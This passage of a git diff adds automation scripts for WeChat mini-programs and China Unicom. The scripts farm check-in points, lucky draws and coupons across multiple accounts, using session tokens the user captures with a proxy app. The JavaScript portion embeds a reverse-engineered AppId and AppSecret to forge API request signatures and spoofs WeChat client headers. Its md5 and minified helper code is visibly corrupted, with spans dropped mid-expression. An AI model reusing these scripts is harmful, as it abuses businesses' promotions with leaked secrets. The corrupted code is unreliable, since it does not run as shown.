commonGet(`/LuckyDraw/GetLuckyDraw?Key=${activity.ActivityKey}`) + for (let i = 0; i < luckyDrawInfo.Data.ResidueCount; i++) { + let luckyDraw = await commonPost(`/LuckyDraw/Do`, {key: activity.ActivityKey}) + console.log(luckyDraw) + await $.wait(2000) + } + } + } + } + console.log("————————————") + console.log("查询积分") + userInfo = await commonGet('/User/GetUserInfo') + console.log(`拥有积分:${userInfo.Data.Point}\n`) + notice += `用户:${id} 拥有积分: ${userInfo.Data.Point}\n` + extracted(id, token, refreshToken) + } + if (notice) { + await sendMsg(notice); + } +} + +async function hitokoto() { + return new Promise(resolve => { + $.get({ + url: `https://v1.hitokoto.cn/?c=a&c=b&c=c&c=d&c=e&c=f&c=i&c=j&c=k&c=l&min_length=5`, + timeout: 10000 + }, (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)); + $.logErr(err); + } else { + let dataObj = JSON.parse(data); + resolve(dataObj); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getRandomBirthday() { + const start = new Date(1980, 0, 1).getTime(); // 1980-01-01 + const end = new Date(2005, 11, 31).getTime(); // 2005-12-31 + const randomTime = start + Math.random() * (end - start); + const randomDate = new Date(randomTime); + + const year = randomDate.getFullYear(); + const month = ('0' + (randomDate.getMonth() + 1)).slice(-2); // Months are zero-indexed + const day = ('0' + randomDate.getDate()).slice(-2); + + return `${year}-${month}-${day}`; +} + +function extracted(id, token, refreshToken) { + const index = COLORFUL.findIndex(e => e.id === id); + if (index !== -1 && COLORFUL[index].token !== token) { + COLORFUL[index].token = token; + COLORFUL[index].refreshToken = refreshToken; + console.log(JSON.stringify(COLORFUL[index])) + // $.msg($.name, `🎉用户${id}更新token成功!`, ``); + $.setjson(COLORFUL, "COLORFUL"); + } +} + +async function getCookie() { + const requestBody = $request.body; + if (!requestBody) { + return + } + let login = await commonPost('/User/DecryptPhoneNumber', JSON.parse(requestBody)) + console.log(login) + token = login.Data.Token; + refreshToken = login.Data.RefreshToken + let userInfo = await commonGet('/User/GetUserInfo') + console.log(userInfo) + if (userInfo.Code === 401) { + return + } + const id = userInfo.Data.Id; + const newData = {"id": id, "token": token, "refreshToken": refreshToken, body: requestBody}; + const index = COLORFUL.findIndex(e => e.id === newData.id); + if (index !== -1) { + if (COLORFUL[index].body === newData.body) { + return + } else { + COLORFUL[index] = newData; + console.log(JSON.stringify(newData)) + $.msg($.name, `🎉用户${newData.id}更新token成功!`, ``); + } + } else { + COLORFUL.push(newData) + console.log(JSON.stringify(newData)) + $.msg($.name, `🎉新增用户${newData.id}成功!`, ``); + } + $.setjson(COLORFUL, "COLORFUL"); +} + + + +async function commonPost(url, body = {}) { + return new Promise(resolve => { + const options = { + url: `https://${baseUrl}/api${url}`, + headers: { + 'Host': baseUrl, + 'Connection': 'keep-alive', + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781() NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat()XWEB/1', + 'Accept': '*/*', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/json', + 'version': '2.0.0', + 'User-from': 'xcx', + 'source': 'Wx', + 'xweb_xhr': 1, + 'UcSource': 30, + 'Referer': 'https://servicewechat.com/wx49018277e65fc3e1/61/page-frame.html', + 'Authorization': `Bearer ${token}`, + 'X-Authorization': `Bearer ${refreshToken}`, + ...sign() + }, + body: JSON.stringify(body) + } + $.post(options, async (err, resp, data) => { + try { + if (resp.statusCode == 401 || resp.statusCode == 400 ) { + resolve({Code: 401}); + } else { + if (err) { + if (data) { + resolve(JSON.parse(data)); + } else { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } + } else { + const token1 = resp.headers["access-token"] || resp.headers["Access-Token"]; + const refreshToken1 = resp.headers["x-Access-Token"] || resp.headers["x-access-token"]; + if (token1 && refreshToken1) { + token = token1 + refreshToken = token1 + } + await $.wait(1000) + resolve(JSON.parse(data)); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +async function commonGet(url) { + return new Promise(resolve => { + const options = { + url: `https://${baseUrl}/api${url}`, + headers: { + 'Host': baseUrl, + 'Connection': 'keep-alive', + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781() NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat()XWEB/1', + 'Accept': '*/*', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/json', + 'version': '2.0.0', + 'User-from': 'xcx', + 'source': 'Wx', + 'xweb_xhr': 1, + 'UcSource': 30, + 'Referer': 'https://servicewechat.com/wx49018277e65fc3e1/61/page-frame.html', + 'Authorization': `Bearer ${token}`, + 'X-Authorization': `Bearer ${refreshToken}`, + ...sign() + } + } + $.get(options, async (err, resp, data) => { + try { + if (resp.statusCode == 401) { + resolve({Code: 401}); + } else { + if (err) { + if (data) { + resolve(JSON.parse(data)); + } else { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } + } else { + const token1 = resp.headers["access-token"] || resp.headers["Access-Token"]; + const refreshToken1 = resp.headers["x-Access-Token"] || resp.headers["x-access-token"]; + if (token1 && refreshToken1) { + token = token1 + refreshToken = token1 + } + await $.wait(1000) + resolve(JSON.parse(data)); + } + } + + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +async function sendMsg(message) { + if ($.isNode()) { + let notify = '' + try { + notify = require('./sendNotify'); + } catch (e) { + notify = require("../sendNotify"); + } + await notify.sendNotify($.name, message); + } else { + $.msg($.name, '', message) + } +} + +function sign() { + let t = Date.now(), uuid = v4(), appId = '815d8026-9a52-4445-a42c-a5443134232e', + o = md5([JSON.stringify({AppId: appId}), JSON.stringify({Ticks: t}), JSON.stringify({requestId: uuid}), JSON.stringify({AppSecret: "2b5c01fb-7640-401a-8188-43a13190a626"})].join("")); + return { + AppId: appId, + Ticks: t, + AppSecret: 'MmI1YzAxZmItNzY0MC00MDFhLTgxODgtNDNhMTMxOTBhNjI2', + requestId: uuid, + Sign: o + } +} + +function uuidToString(buffer, offset) { + var hex = []; + for (var i = 0; i < 256; ++i) { + hex[i] = (i + 0x100).toString(16).substr(1); + } + var i = offset || 0; + return [ + hex[buffer[i++]], hex[buffer[i++]], hex[buffer[i++]], hex[buffer[i++]], '-', + hex[buffer[i++]], hex[buffer[i++]], '-', + hex[buffer[i++]], hex[buffer[i++]], '-', + hex[buffer[i++]], hex[buffer[i++]], '-', + hex[buffer[i++]], hex[buffer[i++]], hex[buffer[i++]], hex[buffer[i++]], hex[buffer[i++]], hex[buffer[i++]] + ].join(''); +} + +function v4(options, buf, offset) { + options = options || {}; + let i = buf && offset || 0; + + if (typeof options === 'string') { + buf = options === 'binary' ? new Array(16) : null; + options = null; + } + + let rnds = new Array(16); + for (let c = 0, r; c < 16; c++) { + if ((c & 3) === 0) r = Math.random() * 0x100000000; + rnds[c] = (r >>> ((c & 3) << 3)) & 0xff; + } + rnds[6] = (rnds[6] & 0x0f) | 0x40; + rnds[8] = (rnds[8] & 0x3f) | 0x80; + + if (buf) { + for (var ii = 0; ii < 16; ++ii) { + buf[i + ii] = rnds[ii]; + } + } + + return buf || uuidToString(rnds); +} + +function md5(a){function b(a,b){return a<>>32-b}function c(a,b){var c,d,e,f,g;return e=2147483648&a,f=2147483648&b,c=1073741824&a,d=1073741824&b,g=(1073741823&a)+(1073741823&b),c&d?2147483648^g^e^f:c|d?1073741824&g?3221225472^g^e^f:1073741824^g^e^f:g^e^f}function d(a,b,c){return a&b|~a&c}function e(a,b,c){return a&c|b&~c}function f(a,b,c){return a^b^c}function g(a,b,c){return b^(a|~c)}function h(a,e,f,g,h,i,j){return a=c(a,c(c(d(e,f,g),h),j)),c(b(a,i),e)}function i(a,d,f,g,h,i,j){return a=c(a,c(c(e(d,f,g),h),j)),c(b(a,i),d)}function j(a,d,e,g,h,i,j){return a=c(a,c(c(f(d,e,g),h),j)),c(b(a,i),d)}function k(a,d,e,f,h,i,j){return a=c(a,c(c(g(d,e,f),h),j)),c(b(a,i),d)}function l(a){for(var b,c=a.length,d=c+8,e=(d-d%64)/64,f=16*(e+1),g=new Array(f-1),h=0,i=0;c>i;)b=(i-i%4)/4,h=i%4*8,g[b]=g[b]|a.charCodeAt(i)<>>29,g}function m(a){var b,c,d="",e="";for(c=0;3>=c;c++)b=a>>>8*c&255,e="0"+b.toString(16),d+=e.substr(e.length-2,2);return d}function n(a){a=a.replace(/\r\n/g,"\n");for(var b="",c=0;cd?b+=String.fromCharCode(d):d>127&&2048>d?(b+=String.fromCharCode(d>>6|192),b+=String.fromCharCode(63&d|128)):(b+=String.fromCharCode(d>>12|224),b+=String.fromCharCode(d>>6&63|128),b+=String.fromCharCode(63&d|128))}return b}var o,p,q,r,s,t,u,v,w,x=[],y=7,z=12,A=17,B=22,C=5,D=9,E=14,F=20,G=4,H=11,I=16,J=23,K=6,L=10,M=15,N=21;for(a=n(a),x=l(a),t=1732584193,u=4023233417,v=2562383102,w=271733878,o=0;o{s.call(this,t,((t,s,o)=>{t?i(t):e(s)}))}))}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.logLevels={debug:0,info:1,warn:2,error:3},this.logLevelPrefixs={debug:"[DEBUG] ",info:"[INFO] ",warn:"[WARN] ",error:"[ERROR] "},this.logLevel="info",this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.encoding="utf-8",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}getEnv(){return"undefined"!=typeof $environment&&$environment["surge-version"]?"Surge":"undefined"!=typeof $environment&&$environment["stash-version"]?"Stash":"undefined"!=typeof module&&module.exports?"Node.js":"undefined"!=typeof $task?"Quantumult X":"undefined"!=typeof $loon?"Loon":"undefined"!=typeof $rocket?"Shadowrocket":void 0}isNode(){return"Node.js"===this.getEnv()}isQuanX(){return"Quantumult X"===this.getEnv()}isSurge(){return"Surge"===this.getEnv()}isLoon(){return"Loon"===this.getEnv()}isShadowrocket(){return"Shadowrocket"===this.getEnv()}isStash(){return"Stash"===this.getEnv()}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null,...s){try{return JSON.stringify(t,...s)}catch{return e}}getjson(t,e){let s=e;if(this.getdata(t))try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise((e=>{this.get({url:t},((t,s,i)=>e(i)))}))}runScript(t,e){return new Promise((s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let o=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");o=o?1*o:20,o=e&&e.timeout?e.timeout:o;const[r,a]=i.split("@"),n={url:`http://${a}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:o},headers:{"X-Key":r,Accept:"*/*"},timeout:o};this.post(n,((t,e,i)=>s(i)))})).catch((t=>this.logErr(t)))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),o=JSON.stringify(this.data);s?this.fs.writeFileSync(t,o):i?this.fs.writeFileSync(e,o):this.fs.writeFileSync(t,o)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let o=t;for(const t of i)if(o=Object(o)[t],void 0===o)return s;return o}lodash_set(t,e,s){return Object(t)!==t||(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce(((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{}),t)[e[e.length-1]]=s),t}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),o=s?this.getval(s):"";if(o)try{const t=JSON.parse(o);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,o]=/^@(.*?)\.(.*?)$/.exec(e),r=this.getval(i),a=i?"null"===r?null:r||"{}":"{}";try{const e=JSON.parse(a);this.lodash_set(e,o,t),s=this.setval(JSON.stringify(e),i)}catch(e){const r={};this.lodash_set(r,o,t),s=this.setval(JSON.stringify(r),i)}}else s=this.setval(t,e);return s}getval(t){switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":return $persistentStore.read(t);case"Quantumult X":return $prefs.valueForKey(t);case"Node.js":return this.data=this.loaddata(),this.data[t];default:return this.data&&this.data[t]||null}}setval(t,e){switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":return $persistentStore.write(t,e);case"Quantumult X":return $prefs.setValueForKey(t,e);case"Node.js":return this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0;default:return this.data&&this.data[e]||null}}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.cookie&&void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar)))}get(t,e=(()=>{})){switch(t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"],delete t.headers["content-type"],delete t.headers["content-length"]),t.params&&(t.url+="?"+this.queryStr(t.params)),void 0===t.followRedirect||t.followRedirect||((this.isSurge()||this.isLoon())&&(t["auto-redirect"]=!1),this.isQuanX()&&(t.opts?t.opts.redirection=!1:t.opts={redirection:!1})),this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":default:this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,((t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status?s.status:s.statusCode,s.status=s.statusCode),e(t,s,i)}));break;case"Quantumult X":this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then((t=>{const{statusCode:s,statusCode:i,headers:o,body:r,bodyBytes:a}=t;e(null,{status:s,statusCode:i,headers:o,body:r,bodyBytes:a},r,a)}),(t=>e(t&&t.error||"UndefinedError")));break;case"Node.js":let s=require("iconv-lite");this.initGotEnv(t),this.got(t).on("redirect",((t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}})).then((t=>{const{statusCode:i,statusCode:o,headers:r,rawBody:a}=t,n=s.decode(a,this.encoding);e(null,{status:i,statusCode:o,headers:r,rawBody:a,body:n},n)}),(t=>{const{message:i,response:o}=t;e(i,o,o&&s.decode(o.rawBody,this.encoding))}));break}}post(t,e=(()=>{})){const s=t.method?t.method.toLocaleLowerCase():"post";switch(t.body&&t.headers&&!t.headers["Content-Type"]&&!t.headers["content-type"]&&(t.headers["content-type"]="application/x-www-form-urlencoded"),t.headers&&(delete t.headers["Content-Length"],delete t.headers["content-length"]),void 0===t.followRedirect||t.followRedirect||((this.isSurge()||this.isLoon())&&(t["auto-redirect"]=!1),this.isQuanX()&&(t.opts?t.opts.redirection=!1:t.opts={redirection:!1})),this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":default:this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient[s](t,((t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status?s.status:s.statusCode,s.status=s.statusCode),e(t,s,i)}));break;case"Quantumult X":t.method=s,this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then((t=>{const{statusCode:s,statusCode:i,headers:o,body:r,bodyBytes:a}=t;e(null,{status:s,statusCode:i,headers:o,body:r,bodyBytes:a},r,a)}),(t=>e(t&&t.error||"UndefinedError")));break;case"Node.js":let i=require("iconv-lite");this.initGotEnv(t);const{url:o,...r}=t;this.got[s](o,r).then((t=>{const{statusCode:s,statusCode:o,headers:r,rawBody:a}=t,n=i.decode(a,this.encoding);e(null,{status:s,statusCode:o,headers:r,rawBody:a,body:n},n)}),(t=>{const{message:s,response:o}=t;e(s,o,o&&i.decode(o.rawBody,this.encoding))}));break}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}queryStr(t){let e="";for(const s in t){let i=t[s];null!=i&&""!==i&&("object"==typeof i&&(i=JSON.stringify(i)),e+=`${s}=${i}&`)}return e=e.substring(0,e.length-1),e}msg(e=t,s="",i="",o={}){const r=t=>{const{$open:e,$copy:s,$media:i,$mediaMime:o}=t;switch(typeof t){case void 0:return t;case"string":switch(this.getEnv()){case"Surge":case"Stash":default:return{url:t};case"Loon":case"Shadowrocket":return t;case"Quantumult X":return{"open-url":t};case"Node.js":return}case"object":switch(this.getEnv()){case"Surge":case"Stash":case"Shadowrocket":default:{const r={};let a=t.openUrl||t.url||t["open-url"]||e;a&&Object.assign(r,{action:"open-url",url:a});let n=t["update-pasteboard"]||t.updatePasteboard||s;if(n&&Object.assign(r,{action:"clipboard",text:n}),i){let t,e,s;if(i.startsWith("http"))t=i;else if(i.startsWith("data:")){const[t]=i.split(";"),[,o]=i.split(",");e=o,s=t.replace("data:","")}else{e=i,s=(t=>{const e={JVBERi0:"application/pdf",R0lGODdh:"image/gif",R0lGODlh:"image/gif",iVBORw0KGgo:"image/png","/9j/":"image/jpg"};for(var s in e)if(0===t.indexOf(s))return e[s];return null})(i)}Object.assign(r,{"media-url":t,"media-base64":e,"media-base64-mime":o??s})}return Object.assign(r,{"auto-dismiss":t["auto-dismiss"],sound:t.sound}),r}case"Loon":{const s={};let o=t.openUrl||t.url||t["open-url"]||e;o&&Object.assign(s,{openUrl:o});let r=t.mediaUrl||t["media-url"];return i?.startsWith("http")&&(r=i),r&&Object.assign(s,{mediaUrl:r}),console.log(JSON.stringify(s)),s}case"Quantumult X":{const o={};let r=t["open-url"]||t.url||t.openUrl||e;r&&Object.assign(o,{"open-url":r});let a=t["media-url"]||t.mediaUrl;i?.startsWith("http")&&(a=i),a&&Object.assign(o,{"media-url":a});let n=t["update-pasteboard"]||t.updatePasteboard||s;return n&&Object.assign(o,{"update-pasteboard":n}),console.log(JSON.stringify(o)),o}case"Node.js":return}default:return}};if(!this.isMute)switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":default:$notification.post(e,s,i,r(o));break;case"Quantumult X":$notify(e,s,i,r(o));break;case"Node.js":break}if(!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}debug(...t){this.logLevels[this.logLevel]<=this.logLevels.debug&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.debug}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}info(...t){this.logLevels[this.logLevel]<=this.logLevels.info&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.info}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}warn(...t){this.logLevels[this.logLevel]<=this.logLevels.warn&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.warn}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}error(...t){this.logLevels[this.logLevel]<=this.logLevels.error&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.error}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.map((t=>t??String(t))).join(this.logSeparator))}logErr(t,e){switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":case"Quantumult X":default:this.log("",`❗️${this.name}, 错误!`,e,t);break;case"Node.js":this.log("",`❗️${this.name}, 错误!`,e,void 0!==t.message?t.message:t,t.stack);break}}wait(t){return new Promise((e=>setTimeout(e,t)))}done(t={}){const e=((new Date).getTime()-this.startTime)/1e3;switch(this.log("",`🔔${this.name}, 结束! 🕛 ${e} 秒`),this.log(),this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":case"Quantumult X":default:$done(t);break;case"Node.js":process.exit(1)}}}(t,e)} \ No newline at end of file diff --git a/脚本库/微信小程序/抓包版/七点五饮用天然矿泉水/2025-06-28_七点五饮用天然矿泉水_d6fe4967.py b/脚本库/微信小程序/抓包版/七点五饮用天然矿泉水/2025-06-28_七点五饮用天然矿泉水_d6fe4967.py new file mode 100644 index 0000000..d5afb6f --- /dev/null +++ b/脚本库/微信小程序/抓包版/七点五饮用天然矿泉水/2025-06-28_七点五饮用天然矿泉水_d6fe4967.py @@ -0,0 +1,129 @@ +# Source: https://gitee.com/jdqlscript/toulu/blob/main/%E4%B8%83%E7%82%B9%E4%BA%94%E9%A5%AE%E7%94%A8%E5%A4%A9%E7%84%B6%E7%9F%BF%E6%B3%89%E6%B0%B4.py +# Raw: https://gitee.com/jdqlscript/toulu/raw/main/%E4%B8%83%E7%82%B9%E4%BA%94%E9%A5%AE%E7%94%A8%E5%A4%A9%E7%84%B6%E7%9F%BF%E6%B3%89%E6%B0%B4.py +# Repo: jdqlscript/toulu +# Path: 七点五饮用天然矿泉水.py +# UploadedAt: 2025-06-28T11:18:42+08:00 +# SHA256: d6fe496720c54bd714a265dd36c0db3b70649d76a897a147a438523118d014fc +# Category: 微信小程序/抓包版 +# Evidence: appid/openid/session_key/encryptedData等小程序字段 + +#微信小程序:七点五饮用天然矿泉水 +#签到10天送100积分,连续20天送20元券,连续30天送25元券,连续45天送七点五饮用天然泉水高端弱碱饮用天然泉水 表白礼物 整箱520ml*15 +#抓取任意链接请求头中的extra-data中的sid参数填入青龙变量qdwxcxcookie +#不确定参数有效期 +#青龙变量qdwxcxcookie格式为备注#sid +#多账号换行 +#小库脚本!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! +#频道【tl库】:https://pd.qq.com/s/btv4bw7av + + + +import requests +from os import path +import json +import time +import os + +def load_send(): + cur_path = path.abspath(path.dirname(__file__)) + notify_file = cur_path + "/notify.py" + + if path.exists(notify_file): + try: + from notify import send # 导入模块的send为notify_send + print("加载通知服务成功!") + return send # 返回导入的函数 + except ImportError: + print("加载通知服务失败~") + else: + print("加载通知服务失败~") + + return False # 返回False表示未成功加载通知服务 + + + +def sign(): + url = "https://h5.youzan.com/wscump/checkin/checkinV2.json?checkinId=3997371" + headers = { + 'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090b11) XWEB/9129", + 'xweb_xhr': "1", + 'extra-data': sid, + 'sec-fetch-site': "cross-site", + 'sec-fetch-mode': "cors", + 'sec-fetch-dest': "empty", + 'referer': "https://servicewechat.com/wx5508c9ab0d2118ff/63/page-frame.html", + 'accept-language': "zh-CN,zh;q=0.9", + 'Cookie': "KDTWEAPPSESSIONID="+sid + } + + response = requests.get(url, headers=headers) + time.sleep(2) + print(response.text) + time.sleep(2) + return response.text + +def jifen(): + url = "https://h5.youzan.com/wscump/pointstore/getCustomerPoints.json" + + headers = { + 'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090b11) XWEB/9129", + 'Cookie': "KDTWEAPPSESSIONID="+sid + } + + response = requests.get(url, headers=headers) + time.sleep(2) + # print(response.text) + try: + xiaoku=json.loads(response.text) + jifen1=str(xiaoku["data"]["currentAmount"]) + print('目前积分为'+jifen1) + time.sleep(2) + + url = "https://h5.youzan.com/wscump/checkin/get_activity_by_yzuid_v2.json?checkinId=3997371" + + headers = { + 'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090b11) XWEB/9129", + 'extra-data': "sid="+sid, + 'Cookie': "KDTWEAPPSESSIONID="+sid + } + + response = requests.get(url, headers=headers) + xiaoku=json.loads(response.text) + print('目前签到天数为'+str(xiaoku["data"]["continuesDay"])) + # print(response.text) + tongzhi='\n目前积分为'+jifen1+'\n签到天数为'+str(xiaoku["data"]["continuesDay"]) + return tongzhi + except: + print('积分查询失败,检查变量是否正确') + + + +if __name__ == "__main__": + var_name='qdwxcxcookie' + values = os.getenv(var_name) + values=values.split('\n') + content='' + for value in values: + beizhu=value.split('#')[0]; + sid=value.split('#')[1]; + print('-------开始' + str(beizhu) + '签到------') + content=content+'\n===='+str(beizhu)+'账号签到情况====\n' + content=content+str(sign()) + print('-------开始' + str(beizhu) + '查询积分------') + content=content+str(jifen()) + content=content+'\n----------------------\n' + # 在load_send中获取导入的send函数 + send = load_send() + print() + + + print('------运行结束-------') + content=content+'\n签到10天送100积分,连续20天送20元券,连续30天送25元券,连续45天送七点五饮用天然泉水高端弱碱饮用天然泉水 表白礼物 整箱520ml*15\n' + content=content+'\n所有账号运行完毕\n' + print('签到10天送100积分,连续20天送20元券,连续30天送25元券,连续45天送七点五饮用天然泉水高端弱碱饮用天然泉水 表白礼物 整箱520ml*15') + # 判断send是否可用再进行调用 + print() + if send: + send('七点五饮用天然矿泉水签到推送', content) + else: + print('通知服务不可用') \ No newline at end of file diff --git a/脚本库/微信小程序/抓包版/中国联通/2026-05-14_chinaUnicom_286fe16d.py b/脚本库/微信小程序/抓包版/中国联通/2026-05-14_chinaUnicom_286fe16d.py new file mode 100644 index 0000000..cf22c5a --- /dev/null +++ b/脚本库/微信小程序/抓包版/中国联通/2026-05-14_chinaUnicom_286fe16d.py @@ -0,0 +1,5832 @@ +# Source: https://github.com/smallfawn/QLScriptPublic/blob/main/daily/chinaUnicom.py +# Raw: https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/chinaUnicom.py +# Repo: smallfawn/QLScriptPublic +# Path: daily/chinaUnicom.py +# UploadedAt: 2026-05-14T17:47:57+08:00 +# SHA256: 286fe16df14547f1b6a2c3270231fef18ad5b57df127df8f0a76abb0efcb44e1 +# Category: 微信小程序/抓包版 +# Evidence: appid/openid/session_key/encryptedData等小程序字段 + +# -*- coding: utf-8 -*- +""" +中国联通 Python 版 v1.0.5 +new Env('中国联通'); +包含以下功能: +1. 首页签到 (话费红包/积分) +2. 联通祝福 (各类抽奖) +3. 天天领现金 (每日打卡/立减金) +4. 权益超市 (任务/抽奖/浇水/领奖/全局库存缓存) +5. 安全管家 (日常任务/积分领取) +6. 联通云盘 (签到/AI互动/文件上传/抽奖活动/重复清理) +7. 联通阅读 (自动获取书籍/心跳阅读/抽奖/查红包) +8. 联通爱听 (积分任务/自动签到/阅读挂机/分享任务) +9. 沃云手机 (签到/任务/抽奖) +10. 区域专区 (自动识别新疆/河南/云南执行特有任务) + +更新说明: + +### 20260322 +v1.0.5: +- 权益超市:接入会员中心浏览积分任务,并拆分独立子开关。 +- 区域专区:接入新疆每月抽奖新版 `themeAct` 链路。 +- 会员中心:补充页面预热、状态轮询和领奖兜底,提升成功率。 +- 日志:更新版本号,精简更新说明与启动输出。 + +### 20260321 +v1.0.3: +- 云盘:整合实时任务、家乡打卡抽奖、上传/清理与容错优化。 +- 权益超市:恢复浇花签名并对齐 H5 请求头。 +- 联通爱听:补齐 `jftask` 签名头。 +- 区域专区:新增云南生活任务。 + +### 20260301 +v1.0.2: +- 🎛️ **全局总开关**:新增 globalConfig 配置字典,可一键 开/关 各功能模块。 +- 🔧 **设备ID控制**:新增 refresh_device_id 选项,可选强制刷新或使用缓存设备ID。 +- 📊 **启动日志优化**:启动时动态打印各模块开关状态及权益超市子开关详情。 +- ⏱️ 